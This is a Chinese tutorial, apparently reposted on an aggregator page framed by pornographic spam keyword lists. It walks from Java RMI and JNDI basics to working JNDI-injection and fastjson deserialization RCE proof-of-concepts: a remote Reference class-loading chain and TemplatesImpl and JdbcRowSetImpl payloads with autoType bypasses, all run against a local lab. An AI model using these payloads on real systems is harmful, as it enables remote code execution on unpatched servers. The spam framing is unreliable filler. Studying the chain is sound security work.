日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

fastjson反序列化过滤字段属性_原创干货 | 从RMI入门到fastjson反序列化RCE

發(fā)布時(shí)間:2024/7/23 编程问答 17 豆豆
生活随笔 收集整理的這篇文章主要介紹了 fastjson反序列化过滤字段属性_原创干货 | 从RMI入门到fastjson反序列化RCE 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
關(guān)注我,讓我成為你的專(zhuān)屬小太陽(yáng)吧

RMI入門(mén)

什么是RMI

RMI(Remote Method Invocation)為遠(yuǎn)程方法調(diào)用,是允許運(yùn)行在一個(gè)Java虛擬機(jī)的對(duì)象調(diào)用運(yùn)行在另一個(gè)Java虛擬機(jī)上的對(duì)象的方法。這兩個(gè)虛擬機(jī)可以是運(yùn)行在相同計(jì)算機(jī)上的不同進(jìn)程中,也可以是運(yùn)行在網(wǎng)絡(luò)上的不同計(jì)算機(jī)中,它的底層是由socketjava序列化和反序列化支撐起來(lái)的。

Java RMI:Java遠(yuǎn)程方法調(diào)用,即Java RMI(Java Remote Method Invocation)是Java編程語(yǔ)言里,一種用于實(shí)現(xiàn)遠(yuǎn)程過(guò)程調(diào)用的應(yīng)用程序編程接口。它使客戶(hù)機(jī)上運(yùn)行的程序可以調(diào)用遠(yuǎn)程服務(wù)器上的對(duì)象。遠(yuǎn)程方法調(diào)用特性使Java編程人員能夠在網(wǎng)絡(luò)環(huán)境中分布操作。RMI全部的宗旨就是盡可能簡(jiǎn)化遠(yuǎn)程接口對(duì)象的使用。

我們知道遠(yuǎn)程過(guò)程調(diào)用(Remote Procedure Call, RPC)可以用于一個(gè)進(jìn)程調(diào)用另一個(gè)進(jìn)程(很可能在另一個(gè)遠(yuǎn)程主機(jī)上)中的過(guò)程,從而提供了過(guò)程的分布能力。Java 的 RMI 則在 RPC 的基礎(chǔ)上向前又邁進(jìn)了一步,即提供分布式對(duì)象間的通訊。

那么會(huì)引出以下幾個(gè)問(wèn)題?

1.遠(yuǎn)程對(duì)象的發(fā)現(xiàn)問(wèn)題

在調(diào)用遠(yuǎn)程對(duì)象的方法之前需要一個(gè)遠(yuǎn)程對(duì)象的引用,如何獲得這個(gè)遠(yuǎn)程對(duì)象的引用在RMI中是一個(gè)關(guān)鍵的問(wèn)題?

答案:在我們?nèi)粘J褂镁W(wǎng)絡(luò)時(shí),基本上都是通過(guò)域名來(lái)定位一個(gè)網(wǎng)站,但是實(shí)際上網(wǎng)絡(luò)是通過(guò)IP地址來(lái)定位網(wǎng)站的,因此其中就需要一個(gè)映射的過(guò)程,域名系統(tǒng)(DNS)就是為了這個(gè)目的出現(xiàn)的,在域名系統(tǒng)中通過(guò)域名來(lái)查找對(duì)應(yīng)的IP地址來(lái)訪問(wèn)對(duì)應(yīng)的服務(wù)器。那么對(duì)應(yīng)的,IP地址在這里就相當(dāng)于遠(yuǎn)程對(duì)象的引用,而DNS則相當(dāng)于一個(gè)注冊(cè)表(Registry)。而域名在RMI中就相當(dāng)于遠(yuǎn)程對(duì)象的標(biāo)識(shí)符,客戶(hù)端通過(guò)提供遠(yuǎn)程對(duì)象的標(biāo)識(shí)符訪問(wèn)注冊(cè)表,來(lái)得到遠(yuǎn)程對(duì)象的引用。這個(gè)標(biāo)識(shí)符是類(lèi)似URL地址格式的,也就是后面我們所說(shuō)的RMIRegistry

2.數(shù)據(jù)的傳遞問(wèn)題

我們都知道在Java程序中引用類(lèi)型(不包括基本類(lèi)型)的參數(shù)傳遞是按引用傳遞的,對(duì)于在同一個(gè)虛擬機(jī)中的傳遞時(shí)是沒(méi)有問(wèn)題的,因?yàn)榈膮?shù)的引用對(duì)應(yīng)的是同一個(gè)內(nèi)存空間,但是對(duì)于分布式系統(tǒng)中,由于對(duì)象不再存在于同一個(gè)內(nèi)存空間,虛擬機(jī)A的對(duì)象引用對(duì)于虛擬機(jī)B沒(méi)有任何意義,問(wèn)題如何解決?

當(dāng)客戶(hù)端通過(guò)RMI注冊(cè)表找到一個(gè)遠(yuǎn)程接口的時(shí)候,所得到的其實(shí)是遠(yuǎn)程接口的一個(gè)動(dòng)態(tài)代理對(duì)象。當(dāng)客戶(hù)端調(diào)用其中的方法的時(shí)候,方法的參數(shù)對(duì)象會(huì)在序列化之后,傳輸?shù)椒?wù)器端。服務(wù)器端接收到之后,進(jìn)行反序列化得到參數(shù)對(duì)象。并使用這些參數(shù)對(duì)象,在服務(wù)器端調(diào)用實(shí)際的方法。調(diào)用的返回值Java對(duì)象經(jīng)過(guò)序列化之后,再發(fā)送回客戶(hù)端。客戶(hù)端再經(jīng)過(guò)反序列化之后得到Java對(duì)象,返回給調(diào)用者。這中間的序列化過(guò)程對(duì)于使用者來(lái)說(shuō)是透明的,由動(dòng)態(tài)代理對(duì)象自動(dòng)完成。

RMI的通信模型

從方法調(diào)用角度來(lái)看,RMI要解決的問(wèn)題,是讓客戶(hù)端對(duì)遠(yuǎn)程方法的調(diào)用可以相當(dāng)于對(duì)本地方法的調(diào)用而屏蔽其中關(guān)于遠(yuǎn)程通信的內(nèi)容,即使在遠(yuǎn)程上,也和在本地上是一樣的。

形象理解:實(shí)際上,客戶(hù)端只與代表遠(yuǎn)程主機(jī)中對(duì)象的Stub對(duì)象進(jìn)行通信,絲毫不知道Server的存在。客戶(hù)端只是調(diào)用Stub對(duì)象中的本地方法,Stub對(duì)象是一個(gè)本地對(duì)象,它實(shí)現(xiàn)了遠(yuǎn)程對(duì)象向外暴露的接口,也就是說(shuō)它的方法和遠(yuǎn)程對(duì)象暴露的方法的簽名是相同的。客戶(hù)端認(rèn)為它是調(diào)用遠(yuǎn)程對(duì)象的方法,實(shí)際上是調(diào)用Stub對(duì)象中的方法。可以理解為Stub對(duì)象是遠(yuǎn)程對(duì)象在本地的一個(gè)代理,當(dāng)客戶(hù)端調(diào)用方法的時(shí)候,Stub對(duì)象會(huì)將調(diào)用通過(guò)網(wǎng)絡(luò)傳遞給遠(yuǎn)程對(duì)象。

RMI遠(yuǎn)程調(diào)用步驟(圖解)

1、客戶(hù)對(duì)象調(diào)用客戶(hù)端輔助對(duì)象上的方法

2、客戶(hù)端輔助對(duì)象打包調(diào)用信息(變量,方法名),通過(guò)網(wǎng)絡(luò)發(fā)送給服務(wù)端輔助對(duì)象

3、服務(wù)端輔助對(duì)象將客戶(hù)端輔助對(duì)象發(fā)送來(lái)的信息解包,找出真正被調(diào)用的方法以及該方法所在對(duì)象

4、調(diào)用真正服務(wù)對(duì)象上的真正方法,并將結(jié)果返回給服務(wù)端輔助對(duì)象

5、服務(wù)端輔助對(duì)象將結(jié)果打包,發(fā)送給客戶(hù)端輔助對(duì)象

6、客戶(hù)端輔助對(duì)象將返回值解包,返回給客戶(hù)對(duì)象

7、客戶(hù)對(duì)象獲得返回值

簡(jiǎn)單的實(shí)現(xiàn)

package main;import java.rmi.Remote;import java.rmi.RemoteException;public interface HelloService extends Remote { // Remote method should throw RemoteException public String service(String data) throws RemoteException;}package main;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class HelloServiceImpl extends UnicastRemoteObject implements HelloService { private static final long serialVersionUID = 1L; private String name; public HelloServiceImpl(String name) throws RemoteException { super(); this.name = name; // UnicastRemoteObject.exportObject(this, 0); } @Override public String service(String data) throws RemoteException { return data + name; }}package main;import java.net.MalformedURLException;import java.rmi.Naming;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;public class Server { public static void main(String[] args) { try { LocateRegistry.createRegistry(1099); HelloService service1 = new HelloServiceImpl("service1"); Naming.rebind("rmi://localhost:1099/HelloService1",service1); } catch (RemoteException | MalformedURLException e) { // TODO Auto-generated catch block e.printStackTrace(); } System.out.println("Successfully register a remote object."); }}package main;import java.net.MalformedURLException;import java.rmi.Naming;import java.rmi.NotBoundException;import java.rmi.RemoteException;public class Client { public static void main(String[] args) { // TODO Auto-generated method stub String url = "rmi://localhost:1099/"; try { HelloService serv = (HelloService) Naming.lookup(url + "HelloService1"); String data = "This is RMI Client."; System.out.println(serv.service(data)); } catch (RemoteException e) { e.printStackTrace(); } catch (NotBoundException e) { e.printStackTrace(); } catch (MalformedURLException e) { e.printStackTrace(); } }}

總結(jié)一句:Java RMI是專(zhuān)為Java環(huán)境設(shè)計(jì)的遠(yuǎn)程方法調(diào)用機(jī)制,遠(yuǎn)程服務(wù)器實(shí)現(xiàn)具體的Java方法并提供接口,客戶(hù)端本地僅需根據(jù)接口類(lèi)的定義,提供相應(yīng)的參數(shù)即可調(diào)用遠(yuǎn)程方法并獲取執(zhí)行結(jié)果,使分布在不同的JVM中的對(duì)象的外表和行為都像本地對(duì)象一樣。

從代碼中我們可以看出,遠(yuǎn)程接口中的所有方法必須聲明它們可以引發(fā)異常 java.rmi.RemoteException 。RemoteException當(dāng)發(fā)生任何類(lèi)型的網(wǎng)絡(luò)錯(cuò)誤時(shí),都會(huì)引發(fā)此異常(實(shí)際上是的許多子類(lèi)之一 ):例如,服務(wù)器可能崩潰,網(wǎng)絡(luò)可能會(huì)失敗,或者您可能由于某種原因而請(qǐng)求一個(gè)不可用的對(duì)象。

攻擊RMI服務(wù)端

抓包

既然傳輸?shù)臅r(shí)候需要經(jīng)過(guò)序列化及反序列化,這要求相應(yīng)的類(lèi)必須實(shí)現(xiàn) java.io.Serializable 接口,然而代碼里面沒(méi)看到?

請(qǐng)看如下:

作用

總結(jié)一句:Java RMI是專(zhuān)為Java環(huán)境設(shè)計(jì)的遠(yuǎn)程方法調(diào)用機(jī)制,遠(yuǎn)程服務(wù)器實(shí)現(xiàn)具體的Java方法并提供接口,客戶(hù)端本地僅需根據(jù)接口類(lèi)的定義,提供相應(yīng)的參數(shù)即可調(diào)用遠(yuǎn)程方法并獲取執(zhí)行結(jié)果,使分布在不同的JVM中的對(duì)象的外表和行為都像本地對(duì)象一樣。

JNDI入門(mén)

什么是JNDI?

JNDI(Java Naming and Directory Interface),名為 Java命名和目錄接口,JNDI是Java API,允許客戶(hù)端通過(guò)名稱(chēng)發(fā)現(xiàn)和查找數(shù)據(jù)、對(duì)象。這些對(duì)象可以存儲(chǔ)在不同的命名或目錄服務(wù)中,例如遠(yuǎn)程方法調(diào)用(RMI),公共對(duì)象請(qǐng)求代理體系結(jié)構(gòu)(CORBA),輕型目錄訪問(wèn)協(xié)議(LDAP)或域名服務(wù)(DNS)。放兩張直觀的圖

使用JNDI的好處

JNDI自身并不區(qū)分客戶(hù)端和服務(wù)器端,也不具備遠(yuǎn)程能力,但是被其協(xié)同的一些其他應(yīng)用一般都具備遠(yuǎn)程能力,JNDI在客戶(hù)端和服務(wù)器端都能夠進(jìn)行一些工作,客戶(hù)端上主要是進(jìn)行各種訪問(wèn),查詢(xún),搜索,而服務(wù)器端主要進(jìn)行的是幫助管理配置,也就是各種bind。比如在RMI服務(wù)器端上可以不直接使用Registry進(jìn)行bind,而使用JNDI統(tǒng)一管理,當(dāng)然JNDI底層應(yīng)該還是調(diào)用的Registry的bind,但好處JNDI提供的是統(tǒng)一的配置接口;在客戶(hù)端也可以直接通過(guò)類(lèi)似URL的形式來(lái)訪問(wèn)目標(biāo)服務(wù),可以看后面提到的JNDI動(dòng)態(tài)協(xié)議轉(zhuǎn)換。把RMI換成其他的例如LDAP、CORBA等也是同樣的道理。

小小的Demo

package learnjndi;import java.io.Serializable;import java.rmi.Remote;public class Person implements Remote,Serializable { private static final long serialVersionUID = 1L; private String name; private String password; public String getName() { return name; } public void setName(String name) { this.name = name; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public String toString(){ return "name:"+name+" password:"+password; }}package learnjndi;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import javax.naming.spi.NamingManager;public class test { public static void initPerson() throws Exception{ //配置JNDI工廠和JNDI的url和端口。如果沒(méi)有配置這些信息,會(huì)出現(xiàn)NoInitialContextException異常 LocateRegistry.createRegistry(3001); System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); System.setProperty(Context.PROVIDER_URL, "rmi://localhost:3001"); 初始化 InitialContext ctx = new InitialContext(); //實(shí)例化person對(duì)象 Person p = new Person(); p.setName("Decade"); p.setPassword("xiaobai"); //person對(duì)象綁定到JNDI服務(wù)中,JNDI的名字叫做:person,即我們可以通過(guò)person鍵值,來(lái)對(duì)Person對(duì)象進(jìn)行索引 ctx.bind("person", p); ctx.close(); } public static void findPerson() throws Exception{ //因?yàn)榍懊嬉呀?jīng)將JNDI工廠和JNDI的url和端口已經(jīng)添加到System對(duì)象中,這里就不用在綁定了 InitialContext ctx = new InitialContext(); //通過(guò)lookup查找person對(duì)象 Person person = (Person) ctx.lookup("person"); //打印出這個(gè)對(duì)象 System.out.println(person.toString()); ctx.close(); } public static void main(String[] args) throws Exception { initPerson(); findPerson(); }}

在運(yùn)行的一瞬間,可以看到確實(shí)開(kāi)放了3001端口

用Debug的狀態(tài)來(lái)看

JNDI協(xié)議動(dòng)態(tài)轉(zhuǎn)換

在開(kāi)始談JNDI注入之前,先談一談為什么會(huì)引起JNDI注入。上面的Demo里面,在初始化就預(yù)先指定了其上下文環(huán)境(RMI),但是在調(diào)用 lookup() 時(shí),是可以使用帶 URI 動(dòng)態(tài)的轉(zhuǎn)換上下文環(huán)境,例如上面已經(jīng)設(shè)置了當(dāng)前上下文會(huì)訪問(wèn) RMI 服務(wù),那么可以直接使用 RMi的 URI 格式去轉(zhuǎn)換(該變)上下文環(huán)境,使之訪問(wèn) RMI 服務(wù)上的綁定對(duì)象:

Person person = (Person) ctx.lookup("rmi://localhost:3001/person");

JNDI注入

可以看到得到同樣的效果,但是如果這個(gè)lookup參數(shù)我們可以控制呢?

這里由于jdk版本(java1.8.231)過(guò)高,導(dǎo)致的沒(méi)有攻擊成功,這里為了簡(jiǎn)便用的是marshalsec反序列化工具

低版本測(cè)試?

這里選用的是jd k1.7.17版本。

import javax.naming.Context;import javax.naming.InitialContext;public class CLIENT { public static void main(String[] args) throws Exception { String uri = "rmi://127.0.0.1:1099/aa"; Context ctx = new InitialContext(); ctx.lookup(uri); }}import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.Registry;import java.rmi.registry.LocateRegistry;public class SERVER { public static void main(String args[]) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8081/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa); System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'"); registry.bind("aa", refObjWrapper); }}import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.io.Reader;import javax.print.attribute.standard.PrinterMessageFromOperator;public class ExecTest { public ExecTest() throws IOException,InterruptedException{ String cmd="whoami"; final Process process = Runtime.getRuntime().exec(cmd); printMessage(process.getInputStream());; printMessage(process.getErrorStream()); int value=process.waitFor(); System.out.println(value); } private static void printMessage(final InputStream input) { // TODO Auto-generated method stub new Thread (new Runnable() { @Override public void run() { // TODO Auto-generated method stub Reader reader =new InputStreamReader(input); BufferedReader bf = new BufferedReader(reader); String line = null; try { while ((line=bf.readLine())!=null) { System.out.println(line); } }catch (IOException e){ e.printStackTrace(); } } }).start(); }}

一步一步跟蹤,可以看到這里如果是Reference類(lèi)的話,進(jìn)入var.getReference(),與RMI服務(wù)器進(jìn)行一次連接,獲取到遠(yuǎn)程class文件地址,如果是普通RMI對(duì)象服務(wù),這里不會(huì)進(jìn)行連接,只有在正式遠(yuǎn)程函數(shù)調(diào)用的時(shí)候才會(huì)連接RMI服務(wù)。

最終調(diào)用了GetObjectInsacne函數(shù),跟蹤到如下,這里有兩處可以實(shí)現(xiàn)任意命令執(zhí)行,分別是兩處標(biāo)紅的代碼。

可以看到最后用newInstance實(shí)例化了類(lèi),實(shí)例化會(huì)默認(rèn)調(diào)用構(gòu)造方法、靜態(tài)代碼塊,那么也就執(zhí)行了我們的whoami命令

當(dāng)然這里會(huì)報(bào)錯(cuò),那么我們修改一下ExecTest類(lèi)的寫(xiě)法。

import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;public class ExecTest implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) { exec("calc"); return null; } public static String exec(String cmd) { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } return ""; } public static void main(String[] args) { exec("123"); }}

至于為什么要重寫(xiě)getObjectInstance方法,是因?yàn)檫@里用到的第二處可以任意命令執(zhí)行的地方,如下圖所示,就不會(huì)報(bào)錯(cuò)了。這就是整個(gè)jndi的一個(gè)實(shí)現(xiàn)過(guò)程。

JNDI的條件與限制

條件一:我們需要服務(wù)端存在以下代碼,并且uri可控

String uri = "rmi://127.0.0.1:1099/aa";Context ctx = new InitialContext();ctx.lookup(uri);

條件二:jdk版本

可以看到要實(shí)現(xiàn)JNDI注入的話jdk版本需要符合一定條件,具體到哪個(gè)版本之后不能使用呢,筆者由于時(shí)間有限,并沒(méi)一個(gè)一個(gè)測(cè),如果有師傅愿意嘗試的話可以去研究一下,當(dāng)然這里也有限制

柳暗花明又一村

最先其實(shí)也說(shuō)了,我們JNDI其實(shí)類(lèi)似于一個(gè)api,而我測(cè)的代碼也僅僅就只有rmi服務(wù),我們下面測(cè)試一下ladp服務(wù),當(dāng)然也同樣為了簡(jiǎn)便,用的是marshalsec反序列化工具,這里測(cè)試的jdk版本為jdk1.7.17

相對(duì)來(lái)說(shuō)ldap使用范圍更廣,如下圖所示

fastjson反序列化-RCE

簡(jiǎn)介

fastjson是alibaba開(kāi)源的一款高性能功能完善的JSON庫(kù),項(xiàng)目鏈接https://github.com/alibaba/fastjson/。

前置知識(shí)

import com.alibaba.fastjson.JSON;import java.util.Properties;public class User { public String name; private int age; private Boolean sex; private Properties prop; public User(){ System.out.println("User() is called"); } public void setAge(int age){ System.out.println("setAge() is called"); this.age = age; } public int getAge(){ System.out.println("getAge() is called"); return 1; } public void setName(String aa){ System.out.println("setName() is called"); this.name=aa; } public String getName(){ System.out.println("getName() is called"); return this.name; } public void setSex(boolean a){ System.out.println("setSex() is called"); this.sex = a; } public Boolean getSex(){ System.out.println("getSex() is called"); return this.sex; } public Properties getProp(){ System.out.println("getProp() is called"); return this.prop; } public void setProp(Properties a){ System.out.println("setProp() is called"); this.prop=a; } public String toString(){ String s = "[User Object] name=" + this.name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex; return s; } public static void main(String[] args){ String jsonstr = "{\"@type\":\"User\", \"name\":\"Tom\", \"age\": 1, \"prop\": {}, \"sex\": 1}"; System.out.println("=========JSON.parseObject======"); Object obj1 = JSON.parseObject(jsonstr); System.out.println("=========JSON.parseObject指定類(lèi)======"); Object obj3 = JSON.parseObject(jsonstr,User.class); System.out.println("=========JSON.parse======"); Object obj2 = JSON.parse(jsonstr); }}

這段代碼就是在模擬Json字符串轉(zhuǎn)換成User對(duì)象的過(guò)程,執(zhí)行結(jié)果為:

@type用來(lái)指定Json字符串還原成哪個(gè)類(lèi)對(duì)象,在反序列化過(guò)程中里面的一些函數(shù)被自動(dòng)調(diào)用,Fastjson會(huì)根據(jù)內(nèi)置策略選擇如何調(diào)用這些函數(shù),在文件com.alibaba.fastjson.util.JavaBeanInfo中有定義,簡(jiǎn)化如下

對(duì)于set函數(shù)主要有這幾個(gè)條件:

1、方法名長(zhǎng)度大于等于4 ?methodName.length() >= 42、方法名以set開(kāi)頭 method.getParameterTypes()2、方法不能為靜態(tài)方法 ?!Modifier.isStatic(method.getModifiers())3、方法的類(lèi)型為void或者為類(lèi)自身的類(lèi)型 ?(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))4、參數(shù)個(gè)數(shù)為1 method.getParameterTypes()==1

對(duì)于get函數(shù)主要有這幾個(gè)條件:

1、方法名長(zhǎng)度大于等于4 ? methodName.length() >= 42、方法名以get開(kāi)頭且第四個(gè)字母為大寫(xiě) methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))3、方法不能為靜態(tài)方法 !Modifier.isStatic(method.getModifiers())4、方法不能有參數(shù) method.getParameterTypes().length == 05、方法的返回值必須為Collection、Map、AtomicBoolean、AtomicInteger、AtomicLong之一 (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())

謹(jǐn)記:

public修飾符的屬性會(huì)進(jìn)行反序列化賦值,private修飾符的屬性不會(huì)直接進(jìn)行反序列化賦值,而是會(huì)調(diào)用setxxx(xxx為屬性名)的函數(shù)進(jìn)行賦值。

getxxx(xxx為屬性名)的函數(shù)會(huì)根據(jù)函數(shù)返回值的不同,而選擇被調(diào)用或不被調(diào)用。

在此之前請(qǐng)多加本地fuzz,這是理解fastjson的前置知識(shí)。

fastjson的安全特性

  • 無(wú)參默認(rèn)構(gòu)造方法或者注解指定

  • Feature.SupportNonPublicField才能打開(kāi)非公有屬性的反序列化處理

  • @type可以指定反序列化任意類(lèi),(具體情況)調(diào)用其set,get方法

基于TemplatesImpl(1.2.22-1.2.24適用)

poc

適用范圍:1.2.22-1.2.24

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import org.apache.commons.io.IOUtils;import org.apache.commons.codec.binary.Base64;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.IOException;public class TemplatesImplPoc { public static String readClass(String cls) { ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); } public static void test_autoTypeDeny() throws Exception { ParserConfig config = new ParserConfig(); final String evilClassPath = System.getProperty("user.dir") + "\\src\\main\\java\\Test.class"; System.out.println(evilClassPath); String evilCode = readClass(evilClassPath); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\"" + evilCode + "\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," + "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n"; System.out.println(text1); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //assertEquals(Model.class, obj.getClass()); } public static void main(String args[]) { try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } }}import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Test extends AbstractTranslet { public Test() throws IOException { Runtime.getRuntime().exec("calc"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static void main(String[] args) throws Exception { Test t = new Test(); }}//pom.xml加上如下幾個(gè)依賴(lài) <dependency> <groupId>commons-codecgroupId> <artifactId>commons-codecartifactId> <version>1.10version> dependency> <dependency> <groupId>xalangroupId> <artifactId>xalanartifactId> <version>2.7.2version> dependency> <dependency> <groupId>commons-iogroupId> <artifactId>commons-ioartifactId> <version>2.3version> dependency>

基于JdbcRowSetImpl(<1.2.24)

poc

import com.alibaba.fastjson.JSON;public class JdbcRowSetImplPoc { public static void main(String[] args) { String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1099/ExecTest\",\"autoCommit\":true}"; JSON.parse(json); }}

基于JdbcRowSetImpl(1.2.25<=fastjson<=1.2.41)

poc

利用條件之一,需要開(kāi)啟autoType

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class JdbcRowSetImplPoc { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String json = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1099/ExecTest\",\"autoCommit\":true}"; JSON.parse(json); }}

基于JdbcRowSetImpl(1.2.25<=fastjson<=1.2.42)

poc

利用條件之一,需要開(kāi)啟autoType

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class JdbcRowSetImplPoc { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String json = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1099/ExecTest\",\"autoCommit\":true}"; JSON.parse(json); }}

基于JdbcRowSetImpl(fastjson<=1.2.47)

poc

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class JdbcRowSetImplPoc { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String json = "{" + " \"a\": {" + " \"@type\": \"java.lang.Class\", " + " \"val\": \"com.sun.rowset.JdbcRowSetImpl\"" + " }, " + " \"b\": {" + " \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", " + " \"dataSourceName\": \"ldap://localhost:1099/ExecTest\", " + " \"autoCommit\": true" + " }" + "}"; JSON.parse(json); }}

掃碼關(guān)注

有趣的靈魂在等你

總結(jié)

以上是生活随笔為你收集整理的fastjson反序列化过滤字段属性_原创干货 | 从RMI入门到fastjson反序列化RCE的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 天天激情综合 | 国产视频一二 | 久久综合婷婷国产二区高清 | 麻豆av影院 | 日韩福利在线观看 | 国产视频九色蝌蚪 | 日本黄色免费网站 | 久久99精品久久久久久水蜜桃 | 日韩有码在线播放 | 日韩av一| 中文字幕一区二区三区四区欧美 | 中文久草 | 97一级片| 国产一级在线 | 免费簧片在线观看 | 亚洲欧美日韩国产成人精品影院 | 在线黄色免费网站 | 欧美成人一区在线观看 | 精品女厕偷拍一区二区 | 青青操免费在线视频 | 国产成年人网站 | 国产不卡精品视频 | 777黄色 | 波多野结衣乳巨码无在线 | 欲色网站 | 疯狂伦交| 人碰人人 | 丝袜 中出 制服 人妻 美腿 | 日韩狠狠 | 亚洲欧美国产精品 | 免费在线看污视频 | www夜片内射视频日韩精品成人 | 中文无码av一区二区三区 | 超碰caopeng| 91九色偷拍 | 国产精品视频一区二区三区 | 一级黄色伦理片 | 久久中文一区 | 国产精品aaaa | 双性懵懂美人被强制调教 | 秋霞一区二区 | 亚洲色图20p | 69堂精品| 成人久久精品 | 人妻洗澡被强公日日澡电影 | 男女激情大尺度做爰视频 | 亚洲黄色三级视频 | av涩涩| 色播视频在线播放 | 性感少妇在线观看 | 黄色网址进入 | 91久久精品视频 | 黄色一级片免费看 | 亚洲涩涩在线 | 欧美精品video| 成人午夜影院在线观看 | 91在线播放视频 | 免费看麻豆 | 日本三级精品 | 久久99久久99精品免观看软件 | 中文字幕偷拍 | 国产精品第157页 | 久久久蜜桃一区二区 | 欧美精品电影一区二区 | 国产中出视频 | 极品在线视频 | 午夜看黄神器 | 欧洲成人综合 | 午夜宅男网 | 亚洲特黄 | 午夜亚洲AV永久无码精品蜜芽 | 92av视频| 日本不卡久久 | 久久久久久www | 少妇xxxx| 一区二区三区精品视频 | 草av在线| 欧美 亚洲 另类 偷偷 自拍 | 日韩激情小视频 | heyzo朝桐光一区二区 | 伊人22| 国产乱来 | 涩涩视频在线免费看 | 上原亚衣av一区二区三区 | 亚洲最大福利网站 | jizz日本在线 | 好男人www社区在线视频夜恋 | 天天天综合网 | 亚洲成熟女性毛茸茸 | 亚洲图片三区 | 中文理论片 | wwxx日本 | 中文人妻熟妇乱又伦精品 | 日韩一区二区毛片 | 一级片一区二区三区 | 91视频h| 久草视频这里只有精品 | 欧美va视频 | 黑人多p混交群体交乱 |